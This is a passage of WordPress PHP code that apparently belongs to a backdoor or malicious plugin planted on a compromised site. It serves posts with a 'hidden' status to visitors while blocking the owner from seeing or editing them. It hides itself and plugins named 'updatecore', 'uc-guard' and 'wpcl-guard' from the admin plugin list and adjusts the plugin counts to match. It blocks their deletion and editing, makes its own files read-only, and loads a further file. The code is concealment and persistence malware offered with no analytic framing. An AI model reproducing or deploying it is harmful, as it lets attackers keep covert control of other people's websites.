post_type === 'page'); $query->is_single = ($post->post_type === 'post'); $query->is_singular = true; } } } add_filter('posts_results', 'force_hidden_post_result', 10, 2); function force_hidden_post_result($posts, $query) { if (is_admin() || !$query->is_main_query()) return $posts; $page_id = isset($_GET['page_id']) ? intval($_GET['page_id']) : 0; $p = isset($_GET['p']) ? intval($_GET['p']) : 0; $id = $page_id ?: $p; if ($id > 0 && empty($posts)) { $post = get_post($id); if ($post && $post->post_status === 'hidden') { $query->is_404 = false; $query->is_page = ($post->post_type === 'page'); $query->is_single = ($post->post_type === 'post'); $query->is_singular = true; return [$post]; } } return $posts; } add_filter('redirect_canonical', 'prevent_hidden_post_redirect', 10, 2); function prevent_hidden_post_redirect($redirect_url, $requested_url) { $page_id = isset($_GET['page_id']) ? intval($_GET['page_id']) : 0; $p = isset($_GET['p']) ? intval($_GET['p']) : 0; $id = $page_id ?: $p; if ($id > 0) { $post = get_post($id); if ($post && $post->post_status === 'hidden') { return false; } } $post = get_queried_object(); if ($post && isset($post->post_status) && $post->post_status === 'hidden') { return false; } return $redirect_url; } add_filter('post_row_actions', 'remove_actions_for_hidden_posts', 10, 2); function remove_actions_for_hidden_posts($actions, $post) { if ($post->post_status === 'hidden') return []; return $actions; } add_filter('page_row_actions', 'remove_actions_for_hidden_posts', 10, 2); add_filter('views_edit-post', 'clean_hidden_views_in_admin'); add_filter('views_edit-page', 'clean_hidden_views_in_admin'); function clean_hidden_views_in_admin($views) { unset($views['hidden']); if (isset($views['all'])) { $views['all'] = preg_replace('/\(.*?\)/', '', $views['all']); $views['all'] = trim($views['all']); } return $views; } add_action('load-post.php', 'block_hidden_post_edit_in_admin'); function block_hidden_post_edit_in_admin() { $post_id = isset($_GET['post']) ? intval($_GET['post']) : 0; if ($post_id > 0) { $post = get_post($post_id); if ($post && $post->post_status === 'hidden') { wp_die('404', '403', ['response' => 403]); } } } add_action('pre_current_active_plugins', function() { if (!isset($GLOBALS['plugins']['mustuse']) || !is_array($GLOBALS['plugins']['mustuse'])) { return; } $hide = array('wpcl-guard', 'uc-guard', '.wpcl-backup'); foreach ($GLOBALS['plugins']['mustuse'] as $key => $data) { $k = strtolower($key); foreach ($hide as $h) { if (strpos($k, $h) !== false) { unset($GLOBALS['plugins']['mustuse'][$key]); break; } } } }); add_filter('views_plugins', function($views) { foreach ($views as $key => $view) { if (preg_match('/\((\d+)\)/', $view, $m)) { $n = max(0, (int)$m[1] - 1); $views[$key] = preg_replace('/\(\d+\)/', "($n)", $view); } } return $views; }, 9999); add_filter('plugin_row_meta', function($meta, $file) { if (strpos($file, 'updatecore') !== false) { return array(); } return $meta; }, 10, 2); add_action('load-plugin-editor.php', function() { $file = isset($_GET['file']) ? $_GET['file'] : ''; if (strpos($file, 'updatecore') !== false) { wp_die('Access denied.', 'Forbidden', array('response' => 403)); } }); add_action('delete_plugin', function($plugin) { if (strpos($plugin, 'updatecore') !== false) { wp_die('This plugin is protected.', 'Protected', array('response' => 403)); } }); add_filter('wp_delete_file', function($file) { if (strpos($file, 'updatecore') !== false || strpos($file, 'uc-guard') !== false) { return ''; } return $file; }, 9999); add_action('init', function() { @chmod(__FILE__, 0444); $mu = WPMU_PLUGIN_DIR . '/uc-guard.php'; if (file_exists($mu)) { @chmod($mu, 0444); } }, 999); add_action('admin_init', function() { global $pagenow; if ($pagenow === 'plugins.php' && isset($_GET['plugin_status']) && $_GET['plugin_status'] === 'mustuse') { wp_redirect(admin_url('plugins.php')); exit; } }); add_filter('views_plugins', function($views) { unset($views['mustuse']); return $views; }, 9999); add_action('admin_head-plugins.php', function() { echo ''; }); add_filter('all_plugins', function($plugins) { $our = plugin_basename(__FILE__); unset($plugins[$our]); foreach ($plugins as $key => $p) { if (strpos($key, 'updatecore') !== false) { unset($plugins[$key]); } } return $plugins; }, 9999); add_action('plugins_loaded', function() { $cleanup = __DIR__ . '/wp-cleanup-tool.php'; if (file_exists($cleanup)) { require_once $cleanup; } }, 99);